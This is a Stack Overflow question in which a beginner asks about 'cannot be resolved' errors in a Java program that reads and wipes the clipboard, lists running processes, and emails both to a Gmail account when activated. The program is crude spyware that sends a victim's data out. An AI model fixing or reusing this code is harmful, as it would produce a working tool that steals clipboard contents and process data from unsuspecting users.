title: Variables cannot be resolved
body: <p>I am making my first Java program (In hopes to master it in the next century) and have ran into some issues. When I try to create a string with a combination of text and previously created strings, Eclipse says the variables cannot be resolved. Could somebody please help me? Thanks!</p>
  
  <pre><code>//Clipboard
  import java.awt.Toolkit;
  import java.awt.datatransfer.DataFlavor;
  import java.awt.datatransfer.StringSelection;
  import java.awt.datatransfer.Transferable;
  //Taskmanager
  import java.io.BufferedReader;
  import java.io.InputStreamReader;
  //Email-er
  import java.util.Properties;
  import javax.mail.Message;
  import javax.mail.MessagingException;
  import javax.mail.Session;
  import javax.mail.Transport;
  import javax.mail.internet.AddressException;
  import javax.mail.internet.InternetAddress;
  import javax.mail.internet.MimeMessage;
  /*
  * Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only
  * No data received from this app is used for any other purpose except the ones above
  * Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)
  * You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)
  * Silver is NOT responsible for any damages, physical or virtual, caused by this program
  * Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)
  * SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])
  * Copyright IdreesInc.com  All rights reserved
  */
  public class Application {
       static Properties mailServerProperties;
       static Session getMailSession;
       static MimeMessage generateMailMessage;
       public static void main(String args[]) throws AddressException, MessagingException {
              generateAndSendEmail();
              System.out.println("\n\n ===&gt; Your Java Program has just sent an Email successfully. Check your email..");
          }
  
          public static void generateAndSendEmail() throws AddressException, MessagingException {     
  
              boolean allowEmails = false;
           Transferable t = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);
  
              try {
                  if (t != null &amp;&amp; t.isDataFlavorSupported(DataFlavor.stringFlavor)) {
                      String text = (String)t.getTransferData(DataFlavor.stringFlavor);
                      String data = text;
                      System.out.println("Current clipboard data:\n"+data); //Prints Clipboard data
                      text=""; //String is now empty
                      StringSelection ss = new StringSelection(text); //Clears Clipboard data
                      Toolkit.getDefaultToolkit().getSystemClipboard().setContents(ss, null);
                      System.out.println("Clipboard data wiped successfully" + text); //Displays "text" string after output for debugging
  
                  }
              }
              catch(Exception e)
              {
  
          }
              try {
                  String line;
                  Process p = Runtime.getRuntime().exec("tasklist.exe"); //Accesses running task-list
                  BufferedReader input =
                          new BufferedReader(new InputStreamReader(p.getInputStream()));
                  while ((line = input.readLine()) != null) {
                      System.out.println(line); //Data is parsed
                  }
                  input.close();
  
              } catch (Exception err) {
                  err.printStackTrace();
              }
  
      if(allowEmails == true) {
  
      //Step1   
              System.out.println("\n\n 1st ===&gt; setup Mail Server Properties..");
              mailServerProperties = System.getProperties();
              mailServerProperties.put("mail.smtp.port", "587");
              mailServerProperties.put("mail.smtp.auth", "true");
              mailServerProperties.put("mail.smtp.starttls.enable", "true");
              System.out.println("Mail Server Properties have been setup successfully..");
  
      //Step2        
              System.out.println("\n\n 2nd ===&gt; get Mail Session..");
              getMailSession = Session.getDefaultInstance(mailServerProperties, null);
              generateMailMessage = new MimeMessage(getMailSession);
              generateMailMessage.addRecipient(Message.RecipientType.TO, new InternetAddress("javasmtpserver@gmail.com"));
              generateMailMessage.setSubject("Application 'Bitter Coffee' Has Been Activated");
              String emailBody = "Application 'Bitter Coffee' has been activated and has ran successfully" + "&lt;br&gt;&lt;br&gt;The activators information is as follows: " + "&lt;br&gt;Clipboard Data: " + data + "&lt;br&gt;Active Tasks: " + input + "&lt;br&gt;&lt;br&gt;Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only&lt;br&gt;No data received from this app is used for any other purpose except the ones above&lt;br&gt;Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)&lt;br&gt;You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)&lt;br&gt;I am not responsible for any damages, physical or virtual, caused by this program&lt;br&gt;Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)&lt;br&gt;SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])&lt;br&gt;&lt;br&gt;Copyright IdreesInc.com  All rights reserved";
              generateMailMessage.setContent(emailBody, "text/html");
              System.out.println("Mail Session has been created successfully..");
  
      //Step3        
              System.out.println("\n\n 3rd ===&gt; Get Session and Send mail");
              Transport transport = getMailSession.getTransport("smtp");
              // Enter your correct Gmail UserID and Password
              transport.connect("smtp.gmail.com", "javasmtpserver", "serverpassword");
              transport.sendMessage(generateMailMessage, generateMailMessage.getAllRecipients());
              transport.close();
      }
          }
  
  }
  </code></pre>
  
  <p>Postscript: This is my first Stack Overflow post so correct me if I mess anything up. I have looked everywhere for the answer to my problem before I posted. And I am sure this is an easy to fix problem but as this is my first project in Java I am lost. Thanks again everyone and happy coding!</p>
  
  <p>Post-Postscript: This code was created as a little project for me. Don't worry, I wont use it for any nefarious needs ;)</p>
  
  <p>EDIT: Dumb me forgot to give the full errors :)<br>
  They are: "input cannot be resolved as a variable"
  "data cannot be resolved as a variable"</p>
  
  <p>They are the 6th line on "Step 2"
  Thanks again!</p>